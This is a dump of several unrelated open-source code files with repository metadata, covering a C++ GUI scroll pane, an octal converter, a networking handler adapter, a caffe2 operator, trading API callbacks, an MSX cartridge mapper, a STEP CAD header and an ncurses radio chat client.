void nest_corner(const rcref<pane>&child) { nest_corner_last(child); } void nest_corner_last(const rcref<pane>& child) { m_cornerPane->nest_last(child); } void nest_corner_first(const rcref<pane>& child) { m_cornerPane->nest_first(child); } void nest_corner_before(const rcref<pane>& beforeThis, const rcref<pane>& child) { m_cornerPane->nest_before(beforeThis, child); } void nest_corner_after(const rcref<pane>& afterThis, const rcref<pane>& child) { m_cornerPane->nest_after(afterThis, child); } virtual void calculate_range() { pane::calculate_range(); // recalculate scroll bar widths, in case dimensions for the scrollbars were just recalculated as well for (int i = 0; i < 2; i++) { dimension d = (dimension)i; if (has_scroll_bar(d)) { auto& sbinfo = get_scroll_bar_info(d); COGS_ASSERT(sbinfo.m_scrollBar->get_frame_default_size().has_value()); sbinfo.m_frame->get_fixed_size(!d) = (*sbinfo.m_scrollBar->get_frame_default_size())[!d]; } } m_calculatedRange.set_min(0, 0); m_calculatedRange.clear_max(); // default to size of contents m_calculatedDefaultSize = m_contentPane->get_default_size(); bool autoFade = use_scroll_bar_auto_fade(); if (m_calculatedDefaultSize.has_value() && !m_hideInactiveScrollBar && !autoFade) { for (int i = 0; i < 2; i++) { dimension d = (dimension)i; if (has_scroll_bar(d)) (*m_calculatedDefaultSize)[!d] += get_scroll_bar_info(d).m_frame->get_fixed_size(!d); } } // Limit max size to max size of contents range contentRange = m_contentPane->get_range(); for (int i = 0; i < 2; i++) { dimension d = (dimension)i; if (contentRange.has_max(!d)) { m_calculatedRange.set_max(!d, contentRange.get_max(!d)); if (has_scroll_bar(!!d) && !autoFade) m_calculatedRange.get_max(!d) += (*get_scroll_bar_info(d).m_scrollBar->get_frame_default_size())[!d]; } if (!has_scroll_bar(!d)) { m_calculatedRange.set_min(!d, contentRange.get_min(!d)); if (!m_hideInactiveScrollBar && has_scroll_bar(!!d) && !autoFade) m_calculatedRange.get_min(!d) += (*get_scroll_bar_info(d).m_scrollBar->get_frame_default_size())[!d]; } } } virtual propose_size_result propose_size( const size& sz, const range& r = range::make_unbounded(), const std::optional<dimension>& resizeDimension = std::nullopt, sizing_mask = all_sizing_types) const { propose_size_result result; range r2 = get_range() & r; if (r2.is_empty()) result.set_empty(); else { size newSize = r2.limit(sz); range contentRange = m_contentFrame->get_range(); constexpr dimension d = dimension::horizontal; // If we are not hiding inactive scroll bars or are showing scroll bars over content (auto fade), use as is if (!use_scroll_bar_auto_fade() && m_hideInactiveScrollBar) { if (has_scroll_bar(d)) { if (contentRange.has_max(!d) && newSize[!d] > contentRange.get_max(!d) && newSize[d] >= contentRange.get_min(d)) newSize[!d] = contentRange.get_max(!d); } else { double min = contentRange.get_min(d); if (newSize[!d] < contentRange.get_min(!d)) min += get_scroll_bar_info(!d).m_frame->get_fixed_size(d); if (newSize[d] < min) newSize[d] = min; } if (has_scroll_bar(!d)) { if (contentRange.has_max(d) && newSize[d] > contentRange.get_max(d) && newSize[!d] >= contentRange.get_min(!d)) newSize[d] = contentRange.get_max(d); } else { double min = contentRange.get_min(!d); if (newSize[d] < contentRange.get_min(d)) min += get_scroll_bar_info(d).m_frame->get_fixed_size(!d); if (newSize[!d] < min) newSize[!d] = min; } } result.set(newSize); result.set_relative_to(sz, get_primary_flow_dimension(), resizeDimension); } return result; } virtual void reshape(const bounds& b, const point& oldOrigin = point(0, 0)) { range contentRange = m_contentFrame->get_range(); bounds visibleBounds = b; point contentOldOrigin = m_contentFrame->get_position(); std::optional<size> contentDefaultSizeOpt = m_contentFrame->get_default_size(); size contentDefaultSize = contentDefaultSizeOpt.has_value() ? *contentDefaultSizeOpt : size(0, 0); bounds contentBounds(contentOldOrigin, contentDefaultSize); // limit contentBounds to visibleBounds, but may still have greater min size contentBounds.get_size() = contentRange.limit(visibleBounds.get_size()); bool autoFade = use_scroll_bar_auto_fade(); auto reduce_content_bounds = [&](dimension d) { if (!autoFade) visibleBounds.get_size()[d] -= get_scroll_bar_info(!d).m_frame->get_fixed_size()[d]; if (visibleBounds.get_size()[d] < contentBounds.get_size()[d]) { contentBounds.get_size()[d] = visibleBounds.get_size()[d]; if (contentBounds.get_size()[d] < contentRange.get_min()[d]) contentBounds.get_size()[d] = contentRange.get_min()[d]; } }; bool showScrollBar[2]; if (!m_hideInactiveScrollBar) { // If not auto-hide, always include them. showScrollBar[(int)dimension::horizontal] = has_scroll_bar(dimension::horizontal); showScrollBar[(int)dimension::vertical] = has_scroll_bar(dimension::vertical); if (showScrollBar[(int)dimension::horizontal]) reduce_content_bounds(dimension::vertical); if (showScrollBar[(int)dimension::vertical]) reduce_content_bounds(dimension::horizontal); } else { showScrollBar[(int)dimension::horizontal] = false; showScrollBar[(int)dimension::vertical] = false; bool hasBothScrollBars = has_scroll_bar(dimension::horizontal) && has_scroll_bar(dimension::vertical); if (!hasBothScrollBars) { // If auto-hide and only 1 dimension... dimension d = has_scroll_bar(dimension::horizontal) ? (dimension)0 : (dimension)1; if (contentBounds.get_size()[d] > visibleBounds.get_size()[d]) { showScrollBar[(int)d] = true; reduce_content_bounds(!d); } } else { int neededPrevDimension = 0; // 1 = yes, -1 = new, 0 not checked yet dimension d = dimension::horizontal; // doesn't matter which dimension is used first, it's symetrical for (;;) { showScrollBar[(int)d] = (contentBounds.get_size()[d] > visibleBounds.get_size()[d]); if (contentBounds.get_size()[d] > visibleBounds.get_size()[d]) { showScrollBar[(int)d] = true; reduce_content_bounds(!d); if (neededPrevDimension == 1) break; neededPrevDimension = 1; } else if (neededPrevDimension != 0) break; else neededPrevDimension = -1; d = !d; //continue; } } } for (int i = 0; i < 2; i++) { dimension d = (dimension)i; if (has_scroll_bar(d)) { contentBounds.get_position()[d] += oldOrigin[d]; double pos = 0; if (showScrollBar[i]) { double thumbSize = visibleBounds.get_size()[d]; double max = contentBounds.get_size()[d]; pos = -(contentBounds.get_position()[d]); double maxPos = max; maxPos -= thumbSize; if (pos > maxPos) { pos = maxPos; contentBounds.get_position()[d] = -pos; } else if (pos < 0) { pos = 0; contentBounds.get_position()[d] = 0; } get_scroll_bar_info(d).m_frame->get_position()[!d] = b.get_size()[!d]; get_scroll_bar_info(d).m_frame->get_position()[!d] -= get_scroll_bar_info(d).m_frame->get_fixed_size()[!d]; get_scroll_bar_info(d).m_state.set(scroll_bar_state(max, thumbSize)); } else { contentBounds.get_position()[d] = 0; get_scroll_bar_info(d).m_state.set(scroll_bar_state(0, 0)); } atomic::store(get_scroll_bar_info(d).m_position, pos); get_scroll_bar_info(d).m_frame->get_fixed_size()[d] = b.get_size()[d]; get_scroll_bar_info(d).m_stateProperty.changed(); get_scroll_bar_info(d).m_positionProperty.changed(); } } bool showBothScrollBars = showScrollBar[(int)dimension::horizontal] && showScrollBar[(int)dimension::vertical]; if (showBothScrollBars) { double vScrollBarWidth = get_scroll_bar_info(dimension::vertical).m_frame->get_fixed_width(); double hScrollBarHeight = get_scroll_bar_info(dimension::horizontal).m_frame->get_fixed_height(); get_scroll_bar_info(dimension::horizontal).m_frame->get_fixed_width() -= vScrollBarWidth; get_scroll_bar_info(dimension::vertical).m_frame->get_fixed_height() -= hScrollBarHeight; m_cornerFrame->get_bounds() = bounds( point( get_scroll_bar_info(dimension::vertical).m_frame->get_position().get_x(), get_scroll_bar_info(dimension::horizontal).m_frame->get_position().get_y()), size( vScrollBarWidth, hScrollBarHeight)); } std::optional<size> opt = m_contentFrame->propose_size_best(contentBounds.get_size()); contentBounds.get_size() = opt.has_value() ? *opt : size(0, 0); m_contentFrame->get_bounds() = contentBounds; m_clippingFrame->get_bounds() = contentBounds & visibleBounds; // clip to smaller of content and visible bounds for (int i = 0; i < 2; i++) { dimension d = (dimension)i; if (has_scroll_bar(d)) { if (get_scroll_bar_info(d).m_scrollBar->is_hidden() == showScrollBar[i]) get_scroll_bar_info(d).m_scrollBar->show_or_hide(showScrollBar[i]); } } if (m_cornerPane->is_hidden() == showBothScrollBars) m_cornerPane->show_or_hide(showBothScrollBars); bool visible = (m_clippingFrame->get_bounds().get_width() != 0 && m_clippingFrame->get_bounds().get_height() != 0); if (m_clippingPane->is_hidden() == visible) m_clippingPane->show_or_hide(visible); pane::reshape(b, oldOrigin); } virtual bool wheel_moving(double distance, const point& pt, const ui::modifier_keys_state& modifiers) { // Give child pane first chance to intercept it if (!pane::wheel_moving(distance, pt, modifiers)) { dimension scrollDimension = dimension::horizontal; if (has_scroll_bar(dimension::vertical)) // If shift is held, scroll horizontally { if (!has_scroll_bar(dimension::horizontal) || !modifiers.get_key(ui::modifier_key::shift_key)) scrollDimension = dimension::vertical; } else if (!has_scroll_bar(dimension::horizontal)) return false; get_scroll_bar_info(scrollDimension).m_scrollBar->scroll(distance); } return true; } virtual rcref<dependency_property<bool> > get_should_auto_fade_scroll_bar_property() { return get_self_rcref(&m_shouldAutoFadeScrollBarProperty); } }; } } #endif
33.015901
148
0.716059
cogmine
cf4e821f115e3cfd6d94bfd773d302b790d4f29f
417
cpp
C++
C++/octalToDecimal.cpp
neontuts/code-snippets
cdc5d9e482a716015f3a43a4843d02521e1231f1
[ "MIT" ]
null
null
null
C++/octalToDecimal.cpp
neontuts/code-snippets
cdc5d9e482a716015f3a43a4843d02521e1231f1
[ "MIT" ]
null
null
null
C++/octalToDecimal.cpp
neontuts/code-snippets
cdc5d9e482a716015f3a43a4843d02521e1231f1
[ "MIT" ]
null
null
null
/* Write a program to convert octal to decimal. For Example : (100)₈ ---> (64)₁₀ */ #include <iostream> using namespace std; int octalToDecimal(int n) { int ans = 0; int x = 1; while (n > 0) { int y = n % 10; ans += x *y; x *= 8; n /= 10; } return ans; } int main() { int octal; cout<<"Enter the octal : "; cin>>octal; cout<<octalToDecimal(octal)<<endl; return 0; }
12.264706
46
0.541966
neontuts
cf50d562590286153fea3ff89ec2a94edb045128
1,238
cpp
C++
src/EIoHandlerAdapter.cpp
isuhao/CxxMina
6073842a1f11c14cb071f36171758780d2eec782
[ "Apache-2.0" ]
null
null
null
src/EIoHandlerAdapter.cpp
isuhao/CxxMina
6073842a1f11c14cb071f36171758780d2eec782
[ "Apache-2.0" ]
null
null
null
src/EIoHandlerAdapter.cpp
isuhao/CxxMina
6073842a1f11c14cb071f36171758780d2eec782
[ "Apache-2.0" ]
null
null
null
/* * EIoHandlerAdapter.cpp * * Created on: 2013-8-19 * Author: cxxjava@163.com */ #include "EIoHandlerAdapter.hh" namespace efc { namespace eio { sp<ELogger> EIoHandlerAdapter::LOGGER = ELoggerManager::getLogger("EIoHandlerAdapter"); void EIoHandlerAdapter::sessionCreated(sp<EIoSession>& session) { // Empty handler } void EIoHandlerAdapter::sessionOpened(sp<EIoSession>& session) { // Empty handler } void EIoHandlerAdapter::sessionClosed(sp<EIoSession>& session) { // Empty handler } void EIoHandlerAdapter::sessionIdle(sp<EIoSession>& session, EIdleStatus status) { // Empty handler } void EIoHandlerAdapter::exceptionCaught(sp<EIoSession>& session, sp<EThrowableType>& cause) { EThrowable* t = cause->getThrowable(); if (t) { LOGGER->warn_("EXCEPTION, please implement EIoHandlerAdapter.exceptionCaught() for proper handling:%s", t->getMessage()); } } void EIoHandlerAdapter::messageReceived(sp<EIoSession>& session, sp<EObject>& message) { // Empty handler } void EIoHandlerAdapter::messageSent(sp<EIoSession>& session, sp<EObject>& message) { // Empty handler } void EIoHandlerAdapter::inputClosed(sp<EIoSession>& session) { session->closeNow(); } } /* namespace eio */ } /* namespace efc */
23.358491
105
0.733441
isuhao
cf531c57b1fa79a7d73b5badbf1fed15e2fd4904
486
cpp
C++
src/commandHistory.cpp
rainstormstudio/AsciiEditor
ea6a089cd1edf087cb086295ad6268af0ed37c65
[ "MIT" ]
1
2020-08-06T02:43:50.000Z
2020-08-06T02:43:50.000Z
src/commandHistory.cpp
rainstormstudio/AsciiEditor
ea6a089cd1edf087cb086295ad6268af0ed37c65
[ "MIT" ]
null
null
null
src/commandHistory.cpp
rainstormstudio/AsciiEditor
ea6a089cd1edf087cb086295ad6268af0ed37c65
[ "MIT" ]
null
null
null
#include "commandHistory.hpp" CommandHistory::CommandHistory() { commands = std::stack<std::shared_ptr<Command>>(); } void CommandHistory::push(std::shared_ptr<Command> command) { commands.emplace(command); } std::shared_ptr<Command> CommandHistory::pop() { if (commands.empty()) { return nullptr; } std::shared_ptr<Command> command = commands.top(); commands.pop(); return command; } int CommandHistory::size() const { return commands.size(); }
23.142857
61
0.679012
rainstormstudio
cf56ea23ee47afd79940e48b9c903455b2fc07f3
412
cc
C++
caffe2/sgd/iter_op.cc
123chengbo/caffe2
0a68778916f3280b5292fce0d74b73b70fb0f7e8
[ "BSD-3-Clause" ]
1
2017-03-13T01:38:16.000Z
2017-03-13T01:38:16.000Z
caffe2/sgd/iter_op.cc
will001/caffe2
0a68778916f3280b5292fce0d74b73b70fb0f7e8
[ "BSD-3-Clause" ]
null
null
null
caffe2/sgd/iter_op.cc
will001/caffe2
0a68778916f3280b5292fce0d74b73b70fb0f7e8
[ "BSD-3-Clause" ]
1
2020-03-19T08:48:39.000Z
2020-03-19T08:48:39.000Z
#include "caffe2/sgd/iter_op.h" namespace caffe2 { namespace { REGISTER_CPU_OPERATOR(Iter, IterOp<CPUContext>); OPERATOR_SCHEMA(Iter) .NumInputs(0, 1) .NumOutputs(1) .EnforceInplace({{0, 0}}) .SetDoc(R"DOC( Stores a singe integer, that gets incremented on each call to Run(). Useful for tracking the iteration count during SGD, for example. )DOC"); NO_GRADIENT(Iter); } } // namespace caffe2
21.684211
68
0.716019
123chengbo
cf5f70a50d624786dda6ff1a113537cf46e4661d
1,969
cpp
C++
src/Boring32.UnitTests/WinSock/Socket.cpp
yottaawesome/Boring32
0fef624151e4a325929ed1c821c508ffba405469
[ "MIT" ]
null
null
null
src/Boring32.UnitTests/WinSock/Socket.cpp
yottaawesome/Boring32
0fef624151e4a325929ed1c821c508ffba405469
[ "MIT" ]
null
null
null
src/Boring32.UnitTests/WinSock/Socket.cpp
yottaawesome/Boring32
0fef624151e4a325929ed1c821c508ffba405469
[ "MIT" ]
null
null
null
#include "pch.h" #include <stdexcept> #include "CppUnitTest.h" using namespace Microsoft::VisualStudio::CppUnitTestFramework; import boring32.winsock; namespace WinSock { TEST_CLASS(Socket) { public: TEST_METHOD(TestDefaultConstructor) { Boring32::WinSock::WinSockInit init(2,2); Boring32::WinSock::Socket socket; } TEST_METHOD(TestMoveConstructor) { Boring32::WinSock::WinSockInit init(2, 2); Boring32::WinSock::Socket socket1(L"www.google.com", 80); socket1.Connect(); Boring32::WinSock::Socket socket2(std::move(socket1)); Assert::IsTrue(socket1.GetHandle() == Boring32::WinSock::Socket::InvalidSocket); Assert::IsTrue(socket2.GetHandle() > 0); } TEST_METHOD(TestMoveAssignment) { Boring32::WinSock::WinSockInit init(2, 2); Boring32::WinSock::Socket socket1(L"www.google.com", 80); socket1.Connect(); Boring32::WinSock::Socket socket2; socket2 = std::move(socket1); Assert::IsTrue(socket1.GetHandle() == Boring32::WinSock::Socket::InvalidSocket); Assert::IsTrue(socket2.GetHandle() > 0); } TEST_METHOD(TestBasicConstructor) { Boring32::WinSock::WinSockInit init(2, 2); Boring32::WinSock::Socket socket(L"www.google.com", 80); } TEST_METHOD(TestConnect) { Boring32::WinSock::WinSockInit init(2, 2); Boring32::WinSock::Socket socket(L"www.google.com", 80); socket.Connect(); } TEST_METHOD(TestSendPacket) { Boring32::WinSock::WinSockInit init(2, 2); Boring32::WinSock::Socket socket(L"www.google.com", 80); socket.Connect(); socket.Send({ std::byte(0x5) }); } TEST_METHOD(TestClose) { Boring32::WinSock::WinSockInit init(2, 2); Boring32::WinSock::Socket socket(L"www.google.com", 80); socket.Connect(); socket.Close(); Assert::IsTrue(socket.GetHandle() == Boring32::WinSock::Socket::InvalidSocket); } }; }
27.732394
85
0.653631
yottaawesome
cf608bec139d8ca2f0bb8a828a1b05ab3f822182
1,903
cpp
C++
vnpy/api/xtp/pyscript/td/xtp_td_wrap.cpp
tanzedan/vnpy
16c616ece1597a5766bf2fb3529f5789958330b6
[ "MIT" ]
4
2018-04-05T15:35:02.000Z
2022-01-04T11:23:19.000Z
vnpy/api/xtp/pyscript/td/xtp_td_wrap.cpp
motw2014/vnpy
16c616ece1597a5766bf2fb3529f5789958330b6
[ "MIT" ]
null
null
null
vnpy/api/xtp/pyscript/td/xtp_td_wrap.cpp
motw2014/vnpy
16c616ece1597a5766bf2fb3529f5789958330b6
[ "MIT" ]
1
2019-03-17T14:36:08.000Z
2019-03-17T14:36:08.000Z
virtual void onDisconnected() { try { this->get_override("onDisconnected")(); } catch (error_already_set const &) { PyErr_Print(); } }; virtual void onError(dict data) { try { this->get_override("onError")(data); } catch (error_already_set const &) { PyErr_Print(); } }; virtual void onOrderEvent(dict data, dict error) { try { this->get_override("onOrderEvent")(data, error); } catch (error_already_set const &) { PyErr_Print(); } }; virtual void onTradeEvent(dict data) { try { this->get_override("onTradeEvent")(data); } catch (error_already_set const &) { PyErr_Print(); } }; virtual void onCancelOrderError(dict data, dict error) { try { this->get_override("onCancelOrderError")(data, error); } catch (error_already_set const &) { PyErr_Print(); } }; virtual void onQueryOrder(dict data, dict error, int id, bool last) { try { this->get_override("onQueryOrder")(data, error, id, last); } catch (error_already_set const &) { PyErr_Print(); } }; virtual void onQueryTrade(dict data, dict error, int id, bool last) { try { this->get_override("onQueryTrade")(data, error, id, last); } catch (error_already_set const &) { PyErr_Print(); } }; virtual void onQueryPosition(dict data, dict error, int id, bool last) { try { this->get_override("onQueryPosition")(data, error, id, last); } catch (error_already_set const &) { PyErr_Print(); } }; virtual void onQueryAsset(dict data, dict error, int id, bool last) { try { this->get_override("onQueryAsset")(data, error, id, last); } catch (error_already_set const &) { PyErr_Print(); } };
17.458716
70
0.575933
tanzedan
cf64d57c0d7e1d8d50f24da7f252d8716a7050ad
729
cpp
C++
ares/msx/cartridge/board/super-lode-runner.cpp
CasualPokePlayer/ares
58690cd5fc7bb6566c22935c5b80504a158cca29
[ "BSD-3-Clause" ]
153
2020-07-25T17:55:29.000Z
2021-10-01T23:45:01.000Z
ares/msx/cartridge/board/super-lode-runner.cpp
CasualPokePlayer/ares
58690cd5fc7bb6566c22935c5b80504a158cca29
[ "BSD-3-Clause" ]
245
2021-10-08T09:14:46.000Z
2022-03-31T08:53:13.000Z
ares/msx/cartridge/board/super-lode-runner.cpp
CasualPokePlayer/ares
58690cd5fc7bb6566c22935c5b80504a158cca29
[ "BSD-3-Clause" ]
44
2020-07-25T08:51:55.000Z
2021-09-25T16:09:01.000Z
//Super Lode Runner //(not working: requires MSX BASIC) struct SuperLodeRunner : Interface { using Interface::Interface; Memory::Readable<n8> rom; auto load() -> void override { Interface::load(rom, "program.rom"); } auto save() -> void override { } auto unload() -> void override { } auto read(n16 address, n8 data) -> n8 override { if(address >= 0x8000 && address <= 0xbfff) data = rom.read(bank << 14 | (n14)address); return data; } auto write(n16 address, n8 data) -> void override { if(address >= 0x0000 && address <= 0x3fff) bank = data; } auto power() -> void override { bank = 0; } auto serialize(serializer& s) -> void override { s(bank); } n8 bank; };
19.702703
90
0.611797
CasualPokePlayer
cf6856581b13404eece60646653b32584637a0f3
2,966
hxx
C++
opencascade/StepAP214_AutoDesignPresentedItemSelect.hxx
valgur/OCP
2f7d9da73a08e4ffe80883614aedacb27351134f
[ "Apache-2.0" ]
117
2020-03-07T12:07:05.000Z
2022-03-27T07:35:22.000Z
opencascade/StepAP214_AutoDesignPresentedItemSelect.hxx
CadQuery/cpp-py-bindgen
66e7376d3a27444393fc99acbdbef40bbc7031ae
[ "Apache-2.0" ]
66
2019-12-20T16:07:36.000Z
2022-03-15T21:56:10.000Z
opencascade/StepAP214_AutoDesignPresentedItemSelect.hxx
CadQuery/cpp-py-bindgen
66e7376d3a27444393fc99acbdbef40bbc7031ae
[ "Apache-2.0" ]
76
2020-03-16T01:47:46.000Z
2022-03-21T16:37:07.000Z
// Created on: 1997-03-26 // Created by: Christian CAILLET // Copyright (c) 1997-1999 Matra Datavision // Copyright (c) 1999-2014 OPEN CASCADE SAS // // This file is part of Open CASCADE Technology software library. // // This library is free software; you can redistribute it and/or modify it under // the terms of the GNU Lesser General Public License version 2.1 as published // by the Free Software Foundation, with special exception defined in the file // OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT // distribution for complete text of the license and disclaimer of any warranty. // // Alternatively, this file may be used under the terms of Open CASCADE // commercial license or contractual agreement. #ifndef _StepAP214_AutoDesignPresentedItemSelect_HeaderFile #define _StepAP214_AutoDesignPresentedItemSelect_HeaderFile #include <Standard.hxx> #include <Standard_DefineAlloc.hxx> #include <Standard_Handle.hxx> #include <StepData_SelectType.hxx> #include <Standard_Integer.hxx> class Standard_Transient; class StepBasic_ProductDefinitionRelationship; class StepBasic_ProductDefinition; class StepRepr_ProductDefinitionShape; class StepRepr_RepresentationRelationship; class StepRepr_ShapeAspect; class StepBasic_DocumentRelationship; class StepAP214_AutoDesignPresentedItemSelect : public StepData_SelectType { public: DEFINE_STANDARD_ALLOC //! Returns a AutoDesignPresentedItemSelect SelectType Standard_EXPORT StepAP214_AutoDesignPresentedItemSelect(); //! Recognizes a AutoDesignPresentedItemSelect Kind Entity that is : //! 1 -> ProductDefinition, //! 2 -> ProductDefinitionRelationship, //! 3 -> ProductDefinitionShape //! 4 -> RepresentationRelationship //! 5 -> ShapeAspect //! 6 -> DocumentRelationship, //! 0 else Standard_EXPORT Standard_Integer CaseNum (const Handle(Standard_Transient)& ent) const; //! returns Value as a ProductDefinitionRelationship (Null if another type) Standard_EXPORT Handle(StepBasic_ProductDefinitionRelationship) ProductDefinitionRelationship() const; //! returns Value as a ProductDefinition (Null if another type) Standard_EXPORT Handle(StepBasic_ProductDefinition) ProductDefinition() const; //! returns Value as a ProductDefinitionShape (Null if another type) Standard_EXPORT Handle(StepRepr_ProductDefinitionShape) ProductDefinitionShape() const; //! returns Value as a RepresentationRelationship (Null if another type) Standard_EXPORT Handle(StepRepr_RepresentationRelationship) RepresentationRelationship() const; //! returns Value as a ShapeAspect (Null if another type) Standard_EXPORT Handle(StepRepr_ShapeAspect) ShapeAspect() const; //! returns Value as a DocumentRelationship (Null if another type) Standard_EXPORT Handle(StepBasic_DocumentRelationship) DocumentRelationship() const; protected: private: }; #endif // _StepAP214_AutoDesignPresentedItemSelect_HeaderFile
30.265306
104
0.798382
valgur
cf6948ccff79c9e64eb5f1ed40341ca8d67abcf0
1,960
cpp
C++
src/App.cpp
bubba169/moja-game
f99f353f6f8d45e2af26b1a505eb08121164823b
[ "Apache-2.0" ]
null
null
null
src/App.cpp
bubba169/moja-game
f99f353f6f8d45e2af26b1a505eb08121164823b
[ "Apache-2.0" ]
null
null
null
src/App.cpp
bubba169/moja-game
f99f353f6f8d45e2af26b1a505eb08121164823b
[ "Apache-2.0" ]
null
null
null
#include <Mojagame.h> App::App( AppConfig* config ) : _config(config) { _grapevine = new Grapevine(); _platform = new Platform(); _scene = new Scene(); App::_current = this; } App::~App() { delete _platform; delete _grapevine; delete _scene; } App* App::_current; App* App::current() { return _current; } /** * Platform interface */ int App::run(int argc, char* argv[]) { std::size_t pos = std::string(argv[0]).find_last_of('/'); if (pos == std::string::npos) { _appPath = ""; } else { _appPath = std::string(argv[0]).substr(0, pos); } printf("App path is %s\n", _appPath.c_str()); // This is the final step to enter the game loop _lastTick = _platform->timeInMilliseconds(); return _platform->run( this ); } void App::tick() { unsigned long currentTime = _platform->timeInMilliseconds(); double sinceLastTick = (currentTime - _lastTick) / 1000.0; _lastTick = currentTime; // Update the app update(sinceLastTick); // render render(); } /** * Functions to override */ void App::init() { _scene->init(_config->stageWidth, _config->stageHeight); } void App::update( double seconds ) {} void App::render() { _scene->render(); } void App::shutdown() {} /** * Functions that wouldn't normally be overridden */ void App::resize(int width, int height, float pixelRatio) { _scene->resize(width, height, pixelRatio); Bundle size; size.set("width", width); size.set("height", height); _grapevine->send(SYSTEM_MESSAGE_RESIZE, &size); } /** * Getters */ Platform* App::getPlatform() { return _platform; } Grapevine* App::getGrapevine() { return _grapevine; } AppConfig* App::getConfig() { return _config; } Scene* App::getScene() { return _scene; } std::string App::getPath(std::string path) { if (path.at(0) != '/') { path = "/" + path; } return _appPath + path; }
18.666667
64
0.612755
bubba169
cf6a6a6d9bf04a7fc286aab8c0200cd082c7d3b6
1,701
cpp
C++
Scripts/GameLoop/LoopStateWin.cpp
solidajenjo/Engine
409516f15e0f083e79b749b9c9184f2f04184325
[ "MIT" ]
10
2019-02-25T11:36:23.000Z
2021-11-03T22:51:30.000Z
Scripts/GameLoop/LoopStateWin.cpp
solidajenjo/Engine
409516f15e0f083e79b749b9c9184f2f04184325
[ "MIT" ]
146
2019-02-05T13:57:33.000Z
2019-11-07T16:21:31.000Z
Scripts/GameLoop/LoopStateWin.cpp
FractalPuppy/Engine
409516f15e0f083e79b749b9c9184f2f04184325
[ "MIT" ]
3
2019-11-17T20:49:12.000Z
2020-04-19T17:28:28.000Z
#include "LoopStateWin.h" #include "Application.h" #include "ModuleTime.h" #include "ModuleScene.h" #include "ModuleInput.h" #include "ComponentAudioSource.h" #include "ComponentImage.h" #include "GameLoop.h" #include "GameObject.h" #define MENU_SCENE "MenuScene" LoopStateWin::LoopStateWin(GameLoop* GL) : LoopState(GL) { } LoopStateWin::~LoopStateWin() { } void LoopStateWin::Update() { //First Outro video then loading for credits //TODO Disable UI!! if (outroVideo == nullptr && gLoop->outroVideoGO != nullptr) { gLoop->outroVideoGO->SetActive(true); outroVideo = gLoop->outroVideoGO->GetComponent<ComponentImage>(); outroVideo->PlayVideo(); StopLvlMusic(); } if (outroVideo != nullptr && !outroVideo->videoFinished) { if (gLoop->App->input->AnyKeyPressed()) { if (!gLoop->outroSkipTextGO->isActive()) { gLoop->outroSkipTextGO->SetActive(true); return; } else { outroVideo->StopVideo(); } } else { return; } } if (!gLoop->loadingGO->isActive()) { gLoop->loadingGO->SetActive(true); } gLoop->currentLoopState = (LoopState*)gLoop->loadingState; gLoop->playerMenuGO->SetActive(false); gLoop->sceneToLoad = MENU_SCENE; gLoop->App->scene->actionAfterLoad = true; gLoop->App->scene->stateAfterLoad = "Credits"; gLoop->stateAfterLoad = (LoopState*)gLoop->creditsState; } void LoopStateWin::StopLvlMusic() //Temporal Fix to stop all music //TODO: we should have a musicLvlController { if (gLoop->audioGO == nullptr) return; for (Component* audioSource : gLoop->audioGO->GetComponentsInChildren(ComponentType::AudioSource)) { ((ComponentAudioSource*) audioSource)->Stop(); } gLoop->audioGO->SetActive(false); }
21
110
0.703704
solidajenjo
cf6c2c50bef1961a56effec0794000c03b3e3fb1
3,781
cpp
C++
src/display.cpp
TheLastBilly/sarchat
650e7fe6730ddcf58a35615839763e8f01798394
[ "BSD-2-Clause" ]
null
null
null
src/display.cpp
TheLastBilly/sarchat
650e7fe6730ddcf58a35615839763e8f01798394
[ "BSD-2-Clause" ]
null
null
null
src/display.cpp
TheLastBilly/sarchat
650e7fe6730ddcf58a35615839763e8f01798394
[ "BSD-2-Clause" ]
null
null
null
// sarchat - display.cpp // // Copyright (c) 2019, TheLastBilly // All rights reserved. // // This source code is licensed under the BSD-style license found in the // LICENSE file in the root directory of this source tree. #include "include/display.hpp" namespace Display{ bool direcpp_good = false; DireCpp::DireCpp * direcpp = nullptr; Display::Display( void ) :history_count(0){ //Ncurses init initscr(); noecho(); cbreak(); timeout(10); // /raw(); //Start app windows (tx and rx) getmaxyx(stdscr, y_max, x_max); refresh(); rx_lines = y_max - 1; rx_length = x_max - 1; rx_win = newwin( rx_lines, rx_length, 0, 0 ); tx_win = newwin( 1, x_max, y_max -1, 1 ); mvprintw(rx_lines, 0, "%c", INPUT_CHAR ); wrefresh(tx_win); wrefresh(rx_win); direcpp = new DireCpp::DireCpp(); direcpp_good = direcpp->init(); getch(); } void Display::init(){ if(direcpp_good) return; AX25::aprs_packet packet = {}; while(1){ if(direcpp->receive(&packet)){ std::cout << "Received!" << '\n'; std::string msg = direcpp->get_info_str(packet); wprintw(rx_win, "%s\n", msg.c_str()); wrefresh(rx_win); } char in_c = getch(); if( in_c == '\n' ){ if(input_buffer == std::string("/exit")){ break; }else if(input_buffer == std::string("/clear")){ wclear(rx_win); wrefresh(rx_win); }else if( input_buffer.length() ){ wprintw(rx_win, "%s\n", input_buffer.c_str()); direcpp->send_string(input_buffer); } wrefresh(rx_win); history.push_back( input_buffer ); history_index = history_count = history.size(); input_buffer.clear(); wclear(tx_win); wrefresh(tx_win); }else if( in_c != ERR ){ int cursor_x, cursor_y; if(in_c == BACKSPACE){ if(input_buffer.length() > 0) input_buffer = input_buffer.substr(0, input_buffer.length() -1); }else if(in_c == LEFT_ARROW_K){ getyx(tx_win, cursor_y, cursor_x); if(cursor_x > 0) wmove(tx_win, cursor_y, cursor_x - 1); wrefresh(tx_win); }else if(in_c == RIGHT_ARROW_K){ getyx(tx_win, cursor_y, cursor_x); if(cursor_x < x_max-1) wmove(tx_win, cursor_y, cursor_x + 1); wrefresh(tx_win); }else if(in_c == UP_ARROW_K){ if(history_index > 0) history_index--; input_buffer = history.at(history_index); }else if( in_c == DOWN_ARROW_K ){ if(history_index < history_count -1){ history_index++; input_buffer = history.at(history_index); }else if(history_index == history_count - 1 || history_index == history_count) input_buffer.clear(); }else{ input_buffer.append( 1, in_c ); } wclear(tx_win); wprintw(tx_win, "%s %d", input_buffer.c_str(), in_c); wrefresh(tx_win); } } } Display::~Display(){ endwin(); if( direcpp != nullptr ) delete(direcpp); } }
35.336449
98
0.472362
TheLastBilly
cf6cc61f9639a41fc2d45c56a2c2fb374461d6eb
866
hpp
C++
include/pixiu/server/response.hpp
CHChang810716/pixiu
4b599c27c7ab2e402f6a6354fd4e7e6a11ab0a9c
[ "MIT" ]
2
2021-05-19T04:39:09.000Z
2021-05-19T04:57:12.000Z
